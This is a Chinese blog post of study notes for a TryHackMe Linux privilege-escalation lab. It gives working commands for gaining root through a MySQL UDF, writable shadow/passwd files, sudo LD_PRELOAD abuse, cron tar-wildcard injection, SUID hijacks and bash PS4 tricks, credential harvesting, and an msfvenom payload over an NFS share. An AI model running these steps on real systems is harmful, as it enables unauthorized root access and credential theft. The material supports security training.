服务漏洞利用
MySQL
正在以root
身份运行,且服务的root
用户未设置密码,即可以以root
用户无密码连接到MySQL
服务可以利用用户定义函数
UDF
通过MySQL
来以root
运行命令,见这里切换到
/home/user/tools/mysql-udf
下载下来
1518.c
,并编译:1
2gcc -g -c 1518.c -fPIC
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc随后连接到
MySQL
,创建一个do_system
的用户定义函数UDF,来使用poc
:1
2
3
4
5
6mysql -u root
use mysql;
create table noone(line blob);
insert into noone values(load_file('/home/user/tools/mysql-udf/1518.so'));
select * from noone into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';随后使用该函数将
/bin/bash
复制一份到/tmp/rootbash
,并设置SUID
权限1
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
1
/tmp/rootbash -p
弱文件权限-可读的
/etc/shadow
直接爆
root
的hash
就行弱文件权限-可写的
/etc/shadow
创建一个自定义密码并
hash
1
mkpasswd -m sha-512 [新密码]
然后将
root
的原密码哈希替换为新的弱文件权限-可写的
/etc/passwd
仍是生成一个新密码的
hash
,并用其替换root
用户行的x
sudo
-shell
逃逸序列就是
sudo -l
,再去GTFOBins 找显示有sudo
功能的sudo
- 环境变量sudo -l
中查找被继承的环境变量:env_keep
可以看到
LD_PRELOAD
和LD_LIBRARY_PATH
都是从用户环境中继承,前者在运行程序时在其他所有共享对象之前加载一个共享对象,后者提供了共享库首先搜索的目录列表LD_PRELOAD
使用在
/home/user/tools/sudo
的preload.c
创建一个共享对象,将LD_PRELOAD
环境变量设置为新共享对象的完整路径并运行任意一个可以通过sudo
运行的程序1
2gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
sudo LD_PRELOAD=/tmp/preload.so [sudo -l 看到的程序任意]LD_LIBRARY_PATH
再以
/usr/sbin/apache2
为例,运行ldd
来查看其使用的共享库使用
/home/user/tools/sudo
的library_path.c
创建一个和其中任意库同名的共享对象,再用sudo
运行apache2
,同时将LD_LIBRARY_PATH
环境变量设置为/tmp
,即输出的共享对象的位置1
2gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2
定时任务-文件权限
就是
cat /etc/crontab
找可更改的任务并替换为反弹shell
定时任务-
PATH
环境变量PATH
变量中有用户主目录,在这里写个shell
即可定时任务-通配符
1
cat /usr/local/bin/compress.sh
注意这个定时任务里面的
*
tar
命令在用户主目录使用了通配符*
,而tar
具有命令行选项。可以作为检查点功能的一部分运行其他命令,即在主目录新建这两个:1
2touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elftar
命令运行时,通配符会确保扫描到这些文件,而由于其文件名是有效的tar
命令行选项,其会被视为选项而非文件名那么再传一个
shell.elf
即可SUID/SGID
可执行文件-已知漏洞1
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
找到所有的
SUID/SGID
可执行文件,然后慢慢找对应版本是否有漏洞SUID/SGID
可执行文件-共享对象注入这个我不知道是怎么发现的
/usr/local/bin/suid-so
容易受到共享对象注入攻击:运行看到其在退出前显示一个进度条:用
strace
来跟踪该文件,并搜索open/access
调用和no such file
错误:1
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
看到其试图加载家目录下的一个共享对象但未找到:
那么手动创建一个
.config
目录,并用/home/user/tools/suid/libcalc.c
生成一个.so
并放到对应位置,再执行suid-so
即可SUID/SGID
可执行文件-环境变量对于
/usr/local/bin/suid-env
文件,发现其试图启动apache2
strings
看一下字符串这里还是不够敏感,从
service apache2 start
应该发现是使用了service
文件来启动服务器,但是没使用完整路径/usr/sbin/service
那么就是新建个叫
service
的shell
,把其路径加到PATH
里面即可SUID/SGID
可执行文件-滥用shell
1
/usr/local/bin/suid-env2
唯一的不同是其使用了
service
的完整路径来启动apache2
1
/bin/bash --version
这里有个神奇的
trick
:在bash
版本低于4.2.048
的情况下,可以令shell
函数的名称与文件路径相同,再导出该函数,使其替代文件路径下任何实际可执行路径:即定义一个名为
/usr/sbin/service
的bash
函数,再导出:1
2function /usr/sbin/service {/bin/bash -p;}
export -f /usr/sbin/service随后运行
suid-env2
即可SUID/SGID
可执行文件-滥用shell
#2此类方法仅在
bash 4.4
(不包括)以下版本生效在调试模式下,
bash
使用环境变量PS4
来显示用于调试语句的额外提示那么在使用
bash
调试的时候将PS4
变量设置为一个嵌入式命令来将/bin/bash
复制到/tmp/rootbash
并加上SUID
权限:1
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
再去
/tmp/rootbash
即可密码和密钥-历史文件
就是看用户主目录中历史文件,其记录了命令行输入,如果在输用户名的时候输入密码就会被记录在其中
1
cat ~/.*history | less
密码和密钥-配置文件
就是找明文或可解密格式存密码的配置文件,在这里是:
1
cat /home/user/myvpn.ovpn
其指向:
/etc/openvpn/auth.txt
其中找到明文密码
密码和密钥-
ssh
密钥用户会备份重要文件,但有时未能使用正确权限保护他们
ls -la /
看到隐藏目录.ssh
找到
root_key
NFS
使用
NFS
创建的文件会继承远程用户的id
,并启用了root
压缩,那么ID
会被设置为nobody
cat /etc/exports
检查虚拟机的NFS
配置:注意到
/tmp
共享禁用了root
压缩在攻击机上创建挂载点并挂载该
/tmp
共享,再用msf
生成一个调用/bin/bash
的payload
,将其保存在挂载的共享的目录下:1
2
3mkdir /tmp/nfs
mount -o rw,vers=3 10.10.108.95:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf在受害者上执行
/tmp/shell.elf
即可内核漏洞
可以使用
Linux Exploit Suggester 2
来扫描,然后脏牛提权
THM学习日寄26-Linux PrivEsc
- 本文链接: http://noone40404.github.io/2024/11/20/THM学习日寄26:LinuxPrivEsc/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!